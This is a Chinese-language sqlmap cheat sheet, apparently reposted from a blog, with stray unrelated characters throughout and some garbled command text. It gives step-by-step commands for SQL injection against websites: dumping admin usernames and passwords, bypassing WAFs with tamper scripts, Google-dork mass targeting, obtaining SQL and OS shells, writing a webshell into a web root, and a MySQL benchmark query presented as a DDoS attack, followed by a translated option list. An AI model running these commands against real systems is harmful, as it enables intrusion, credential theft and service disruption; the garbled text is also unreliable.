sqlmap也是滲透中常用的一個(gè)注入工具总处,其實(shí)在注入工具方面,一個(gè)sqlmap就足夠用了狭归,只要你用的熟夭坪,秒殺各種工具,只是一個(gè)便捷性問題过椎,sql注入另一方面就是手工黨了室梅,這個(gè)就另當(dāng)別論了。今天把我一直以來整理的sqlmap筆記發(fā)布上來供大家參考疚宇。
一共有11種常見SQLmap使用方法:
一亡鼠、SQLMAP用于Access數(shù)據(jù)庫注入
(1) 猜解是否能注入
win:python sqlmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"
Linux:.lmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"
(2) 猜解表
win:python sqlmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables
Linux:.lmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"--tables
(3) 根據(jù)猜解的表進(jìn)行猜解表的字段(假如通過2得到了admin這個(gè)表)
win:python sqlmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns -T admin
Linux:.lmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"--columns -T admin
(4) 根據(jù)字段猜解內(nèi)容(假如通過3得到字段為username和password)
win:python sqlmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump -T admin -C "username,password"
Linux:.lmap.py-u"http://www.xxx.com/en/CompHonorBig.asp?id=7"--dump -T admin -C
"username,[url=]B[/url]password"
二、SQLMAP用于Cookie注入
(1) cookie注入灰嫉,猜解表
win:python sqlmap.py-u"http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --table --level 2
(2) 猜解字段拆宛,(通過1的表猜解字段,假如表為admin)
win:python sqlmap.py-u"http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --columns -T
admin--level 2
(3) 猜解內(nèi)容
win:python sqlmap.py-u"http://www.xxx.org/jsj/shownews.asp"--cookie "id=31" --dump -T
admin-C"username,password"--level 2
三讼撒、SQLMAP用于mysql中DDOS攻擊(1) 獲取一個(gè)Shell
win:
python sqlmap.py-u [url]http://192.168.159.1/news.php?id=1[/url]--sql-shell
Linux:
sqlmap-u [url]http://192.168.159.1/news.php?id=1[/url]--sql-shell
(2) 輸入執(zhí)行語句完成DDOS攻擊
selectbenchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)
四浑厚、SQLMAP用于mysql注入
(1) 查找數(shù)據(jù)庫
python sqlmap.py-u"http://www.xxx.com/link.php?id=321"--dbs
(2) 通過第一步的數(shù)據(jù)庫查找表(假如數(shù)據(jù)庫名為dataname)
python sqlmap.py-u"http://www.xxx.com/link.php?id=321"-D dataname--tables
(3) 通過2中的表得出列名(假如表為table_name)
1
python sqlmap.py-u"http://www.xxx.com/link.php?id=321"-D dataname-T table_name--columns
(4) 獲取字段的值(假如掃描出id,user,password字段)
1
2python sqlmap.py-u"http://www.xxx.com/link.php?id=321"-D dataname-T table_name-C
"id,user,password"--dump
五、SQLMAP中post登陸框注入
(1) 其中的search-test.txt是通過抓包工具burp suite抓到的包并把數(shù)據(jù)保存為這個(gè)txt文件
我們?cè)谑褂肧qlmap進(jìn)行post型注入時(shí)根盒,經(jīng)常會(huì)出現(xiàn)請(qǐng)求遺漏導(dǎo)致注入失敗的情況钳幅。這里分享一個(gè)小技巧,即結(jié)合burpsuite來使用sqlmap炎滞,用這種方法進(jìn)行post注入測試會(huì)更準(zhǔn)確敢艰,操作起來也非常容易。
1. 瀏覽器打開目標(biāo)地址http://www.xxx.com/Login.asp
2. 配置burp代理(127.0.0.1:8080)以攔截請(qǐng)求
3. 點(diǎn)擊login表單的submit按鈕
4. 這時(shí)候Burp會(huì)攔截到了我們的登錄POST請(qǐng)求
5. 把這個(gè)post請(qǐng)求復(fù)制為txt, 我這命名為search-test.txt 然后把它放至sqlmap目錄下
6. 運(yùn)行sqlmap并使用如下命令:
1
./sqlmap.py-r search-test.txt-p tfUPass
這里參數(shù)-r 是讓sqlmap加載我們的post請(qǐng)求rsearch-test.txt册赛,而-p 大家應(yīng)該比較熟悉钠导,指定注入用的參數(shù)。
注入點(diǎn):http://testasp.vulnweb.com/Login.asp
幾種注入方式:./sqlmap.py -r search-test.txt -p tfUPass
(2) 自動(dòng)的搜索
sqlmap-u [url]http://testasp.vulnweb.com/Login.asp[/url]--forms
(3) 指定參數(shù)搜索
sqlmap-u [url]http://testasp.vulnweb.com/Login.asp[/url]--data "tfUName=321&tfUPass=321"
六森瘪、SQLMAP中Google搜索注入
inurl后面的語言是由自己定的
注入過程中如果選y是注入牡属,如果不是選n
sqlmap-g inurl:php?id=
七、SQLMAP中的請(qǐng)求延遲
參數(shù) --delay --safe-freq
python sqlmap.py--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --delay 1
python sqlmap.py--dbs -u "http://xxx.cn/index.php/Index/view/id/40.html" --safe-freq 3
參數(shù)
八扼睬、SQLMAP繞過WAF防火墻
注入點(diǎn):http://192.168.159.1/news.php?id=1
sqlmap-u [url]http://192.168.159.1/news.php?id=1[/url]-v3--dbs --batch --tamper "space2morehash.py"
space2morehash.py中可以替換space2hash.py或者base64encode.py或者charencode.py
都是編碼方式
space2hash.py base64encode.py charencode.py
九逮栅、SQLMAP查看權(quán)限
sqlmap-u [url]http://192.168.159.1/news.php?id=1[/url]--privileges
十、SQLMAP偽靜態(tài)注入(1) 查找數(shù)據(jù)庫
python sqlmap.py-u"http://xxx.cn/index.php/Index/view/id/40.html"--dbs
(2) 通過1中的數(shù)據(jù)庫查找對(duì)應(yīng)的表 (假如通過1窗宇,得到的是dataname)
python sqlmap.py-u"http://xxx.cn/index.php/Index/view/id/40.html"-D dataname--tables
(3) 通過2中的數(shù)據(jù)表得到字段(假如得到的是tablename表)
python sqlmap.py-u"http://xxx.cn/index.php/Index/view/id/40.html"-D dataname-T
tablename--columns
(4) 通過3得到字段值(假如從3中得到字段id措伐,password)
python sqlmap.py-u"http://xxx.cn/index.php/Index/view/id/40.html"-D dataname-T
tablename-C"password"--dump
十一、SQLMAP注入點(diǎn)執(zhí)行命令與交互寫shell
(1) 注入點(diǎn):http://192.168.159.1/news.php?id=1
此處采用的是Linux系統(tǒng)
sqlmap-u [url]http://192.168.159.1/news.php?id=1[/url]--os-cmd=ipconfig
出現(xiàn)語言的選擇根據(jù)實(shí)際的測試網(wǎng)站選擇語言
指定目標(biāo)站點(diǎn)D:/www/
(2) 獲取Shell
sqlmap-u [url]http://192.168.159.1/news.php?id=1[/url]--os-shell
出現(xiàn)語言的選擇根據(jù)實(shí)際的測試網(wǎng)站選擇語言
指定目標(biāo)站點(diǎn)D:/www/
輸入ipconfig/all
創(chuàng)建用戶和刪除用戶
只要權(quán)限足夠大军俊,你可以輸入使用任何命令侥加。
其他命令參考下面:
從數(shù)據(jù)庫中搜索字段
sqlmap-r “c:\tools\request.txt” –dbms mysql-D dedecms –search-C admin,password
在dedecms數(shù)據(jù)庫中搜索字段admin或者password。
讀取與寫入文件
首先找需要網(wǎng)站的物理路徑粪躬,其次需要有可寫或可讀權(quán)限担败。
–file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件 (物理路徑)
–file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對(duì)路徑
#示例:
sqlmap-r “c:\request.txt”-pid–dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write“f:\webshell\1112.php”
使用shell命令:
sqlmap-r “c:\tools\request.txt”-pid–dms mysql –os-shell
接下來指定網(wǎng)站可寫目錄:
“E:\php\htdocs\dvwa”
#注:mysql不支持列目錄矗蕊,僅支持讀取單個(gè)文件。sqlserver可以列目錄氢架,不能讀寫文件,但需要一個(gè)(xp_dirtree函數(shù))
sqlmap詳細(xì)命令:
-is-dba 當(dāng)前用戶權(quán)限(是否為root權(quán)限)
-dbs 所有數(shù)據(jù)庫
-current-db 網(wǎng)站當(dāng)前數(shù)據(jù)庫
-users 所有數(shù)據(jù)庫用戶
-current-user 當(dāng)前數(shù)據(jù)庫用戶
-random-agent 構(gòu)造隨機(jī)user-agent
-passwords 數(shù)據(jù)庫密碼
-proxy http://local:8080 –threads 10 (可以自定義線程加速) 代理
-time-sec=TIMESEC DBMS響應(yīng)的延遲時(shí)間(默認(rèn)為5秒)
Options(選項(xiàng)):
-version 顯示程序的版本號(hào)并退出
-h, –help 顯示此幫助消息并退出
-v VERBOSE 詳細(xì)級(jí)別:0-6(默認(rèn)為1)
Target(目標(biāo)):
以下至少需要設(shè)置其中一個(gè)選項(xiàng)朋魔,設(shè)置目標(biāo)URL岖研。
-d DIRECT 直接連接到數(shù)據(jù)庫。
-u URL, –url=URL 目標(biāo)URL警检。
-l LIST 從Burp或WebScarab代理的日志中解析目標(biāo)孙援。
-r REQUESTFILE 從一個(gè)文件中載入HTTP請(qǐng)求。
-g GOOGLEDORK 處理Google dork的結(jié)果作為目標(biāo)URL扇雕。
-c CONFIGFILE 從INI配置文件中加載選項(xiàng)拓售。
Request(請(qǐng)求):
這些選項(xiàng)可以用來指定如何連接到目標(biāo)URL。
-data=DATA 通過POST發(fā)送的數(shù)據(jù)字符串
-cookie=COOKIE HTTP Cookie頭
-cookie-urlencode URL 編碼生成的cookie注入
-drop-set-cookie 忽略響應(yīng)的Set – Cookie頭信息
-user-agent=AGENT 指定 HTTP User – Agent頭
-random-agent 使用隨機(jī)選定的HTTP User – Agent頭
-referer=REFERER 指定 HTTP Referer頭
-headers=HEADERS 換行分開镶奉,加入其他的HTTP頭
-auth-type=ATYPE HTTP身份驗(yàn)證類型(基本础淤,摘要或NTLM)(Basic, Digest or NTLM)
-auth-cred=ACRED HTTP身份驗(yàn)證憑據(jù)(用戶名:密碼)
-auth-cert=ACERT HTTP認(rèn)證證書(key_file,cert_file)
-proxy=PROXY 使用HTTP代理連接到目標(biāo)URL
-proxy-cred=PCRED HTTP代理身份驗(yàn)證憑據(jù)(用戶名:密碼)
-ignore-proxy 忽略系統(tǒng)默認(rèn)的HTTP代理
-delay=DELAY 在每個(gè)HTTP請(qǐng)求之間的延遲時(shí)間哨苛,單位為秒
-timeout=TIMEOUT 等待連接超時(shí)的時(shí)間(默認(rèn)為30秒)
-retries=RETRIES 連接超時(shí)后重新連接的時(shí)間(默認(rèn)3)
-scope=SCOPE 從所提供的代理日志中過濾器目標(biāo)的正則表達(dá)式
-safe-url=SAFURL 在測試過程中經(jīng)常訪問的url地址
-safe-freq=SAFREQ 兩次訪問之間測試請(qǐng)求鸽凶,給出安全的URL
Enumeration(枚舉):
這些選項(xiàng)可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)建峭。此外玻侥,您還可以運(yùn)行您自己的SQL語句。
-b, –banner 檢索數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識(shí)
-current-user 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶
-current-db 檢索數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫
-is-dba 檢測DBMS當(dāng)前用戶是否DBA
-users 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶
-passwords 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希
-privileges 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限
-roles 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色
-dbs 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫
-D DBname 要進(jìn)行枚舉的指定數(shù)據(jù)庫名
-T TBLname 要進(jìn)行枚舉的指定數(shù)據(jù)庫表(如:-T tablename –columns)
-tables 枚舉的DBMS數(shù)據(jù)庫中的表
-columns 枚舉DBMS數(shù)據(jù)庫表列
-dump 轉(zhuǎn)儲(chǔ)數(shù)據(jù)庫管理系統(tǒng)的數(shù)據(jù)庫中的表項(xiàng)
-dump-all 轉(zhuǎn)儲(chǔ)所有的DBMS數(shù)據(jù)庫表中的條目
-search 搜索列(S)亿蒸,表(S)和/或數(shù)據(jù)庫名稱(S)
-C COL 要進(jìn)行枚舉的數(shù)據(jù)庫列
-U USER 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶
-exclude-sysdbs 枚舉表時(shí)排除系統(tǒng)數(shù)據(jù)庫
-start=LIMITSTART 第一個(gè)查詢輸出進(jìn)入檢索
-stop=LIMITSTOP 最后查詢的輸出進(jìn)入檢索
-first=FIRSTCHAR 第一個(gè)查詢輸出字的字符檢索
-last=LASTCHAR 最后查詢的輸出字字符檢索
-sql-query=QUERY 要執(zhí)行的SQL語句
-sql-shell 提示交互式SQL的shell
Optimization(優(yōu)化):
這些選項(xiàng)可用于優(yōu)化SqlMap的性能凑兰。
-o 開啟所有優(yōu)化開關(guān)
–predict-output 預(yù)測常見的查詢輸出
–keep-alive 使用持久的HTTP(S)連接
–null-connection 從沒有實(shí)際的HTTP響應(yīng)體中檢索頁面長度
–threads=THREADS 最大的HTTP(S)請(qǐng)求并發(fā)量(默認(rèn)為1)
Injection(注入):
這些選項(xiàng)可以用來指定測試哪些參數(shù), 提供自定義的注入payloads和可選篡改腳本边锁。
-p TESTPARAMETER 可測試的參數(shù)(S)
–dbms=DBMS 強(qiáng)制后端的DBMS為此值
–os=OS 強(qiáng)制后端的DBMS操作系統(tǒng)為這個(gè)值
–prefix=PREFIX 注入payload字符串前綴
–suffix=SUFFIX 注入payload字符串后綴
–tamper=TAMPER 使用給定的腳本(S)篡改注入數(shù)據(jù)
Detection(檢測):
這些選項(xiàng)可以用來指定在SQL盲注時(shí)如何解析和比較HTTP響應(yīng)頁面的內(nèi)容姑食。
–level=LEVEL 執(zhí)行測試的等級(jí)(1-5,默認(rèn)為1)
–risk=RISK 執(zhí)行測試的風(fēng)險(xiǎn)(0-3砚蓬,默認(rèn)為1)
–string=STRING 查詢時(shí)有效時(shí)在頁面匹配字符串
–regexp=REGEXP 查詢時(shí)有效時(shí)在頁面匹配正則表達(dá)式
–text-only 僅基于在文本內(nèi)容比較網(wǎng)頁
Techniques(技巧):
這些選項(xiàng)可用于調(diào)整具體的SQL注入測試矢门。
–technique=TECH SQL注入技術(shù)測試(默認(rèn)BEUST)
–time-sec=TIMESEC DBMS響應(yīng)的延遲時(shí)間(默認(rèn)為5秒)
–union-cols=UCOLS 定列范圍用于測試UNION查詢注入
–union-char=UCHAR 用于暴力猜解列數(shù)的字符
Fingerprint(指紋):
-f, –fingerprint 執(zhí)行檢查廣泛的DBMS版本指紋
Brute force(蠻力):
這些選項(xiàng)可以被用來運(yùn)行蠻力檢查。
–common-tables 檢查存在共同表
–common-columns 檢查存在共同列
User-defined function injection(用戶自定義函數(shù)注入):
這些選項(xiàng)可以用來創(chuàng)建用戶自定義函數(shù)灰蛙。
–udf-inject 注入用戶自定義函數(shù)
–shared-lib=SHLIB 共享庫的本地路徑
File system access(訪問文件系統(tǒng)):
這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)祟剔。
–file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件
–file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件
–file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對(duì)路徑
Operating system access(操作系統(tǒng)訪問):
這些選項(xiàng)可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)。
–os-cmd=OSCMD 執(zhí)行操作系統(tǒng)命令
–os-shell 交互式的操作系統(tǒng)的shell
–os-pwn 獲取一個(gè)OOB shell摩梧,meterpreter或VNC
–os-smbrelay 一鍵獲取一個(gè)OOB shell物延,meterpreter或VNC
–os-bof 存儲(chǔ)過程緩沖區(qū)溢出利用
–priv-esc 數(shù)據(jù)庫進(jìn)程用戶權(quán)限提升
–msf-path=MSFPATH Metasploit Framework本地的安裝路徑
–tmp-path=TMPPATH 遠(yuǎn)程臨時(shí)文件目錄的絕對(duì)路徑
Windows注冊(cè)表訪問:
這些選項(xiàng)可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)Windows注冊(cè)表。
–reg-read 讀一個(gè)Windows注冊(cè)表項(xiàng)值
–reg-add 寫一個(gè)Windows注冊(cè)表項(xiàng)值數(shù)據(jù)
–reg-del 刪除Windows注冊(cè)表鍵值
–reg-key=REGKEY Windows注冊(cè)表鍵
–reg-value=REGVAL Windows注冊(cè)表項(xiàng)值
–reg-data=REGDATA Windows注冊(cè)表鍵值數(shù)據(jù)
–reg-type=REGTYPE Windows注冊(cè)表項(xiàng)值類型
這些選項(xiàng)可以用來設(shè)置一些一般的工作參數(shù)仅父。
-t TRAFFICFILE 記錄所有HTTP流量到一個(gè)文本文件中
-s SESSIONFILE 保存和恢復(fù)檢索會(huì)話文件的所有數(shù)據(jù)
–flush-session 刷新當(dāng)前目標(biāo)的會(huì)話文件
–fresh-queries 忽略在會(huì)話文件中存儲(chǔ)的查詢結(jié)果
–eta 顯示每個(gè)輸出的預(yù)計(jì)到達(dá)時(shí)間
–update 更新SqlMap
–save file保存選項(xiàng)到INI配置文件
–batch 從不詢問用戶輸入叛薯,使用所有默認(rèn)配置浑吟。
Miscellaneous(雜項(xiàng)):
–beep 發(fā)現(xiàn)SQL注入時(shí)提醒
–check-payload IDS對(duì)注入payloads的檢測測試
–cleanup SqlMap具體的UDF和表清理DBMS
–forms 對(duì)目標(biāo)URL的解析和測試形式
–gpage=GOOGLEPAGE 從指定的頁碼使用谷歌dork結(jié)果
–page-rank Google dork結(jié)果顯示網(wǎng)頁排名(PR)
–parse-errors 從響應(yīng)頁面解析數(shù)據(jù)庫管理系統(tǒng)的錯(cuò)誤消息
–replicate 復(fù)制轉(zhuǎn)儲(chǔ)的數(shù)據(jù)到一個(gè)sqlite3數(shù)據(jù)庫
–tor 使用默認(rèn)的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 給初級(jí)用戶的簡單向?qū)Ы缑?/p>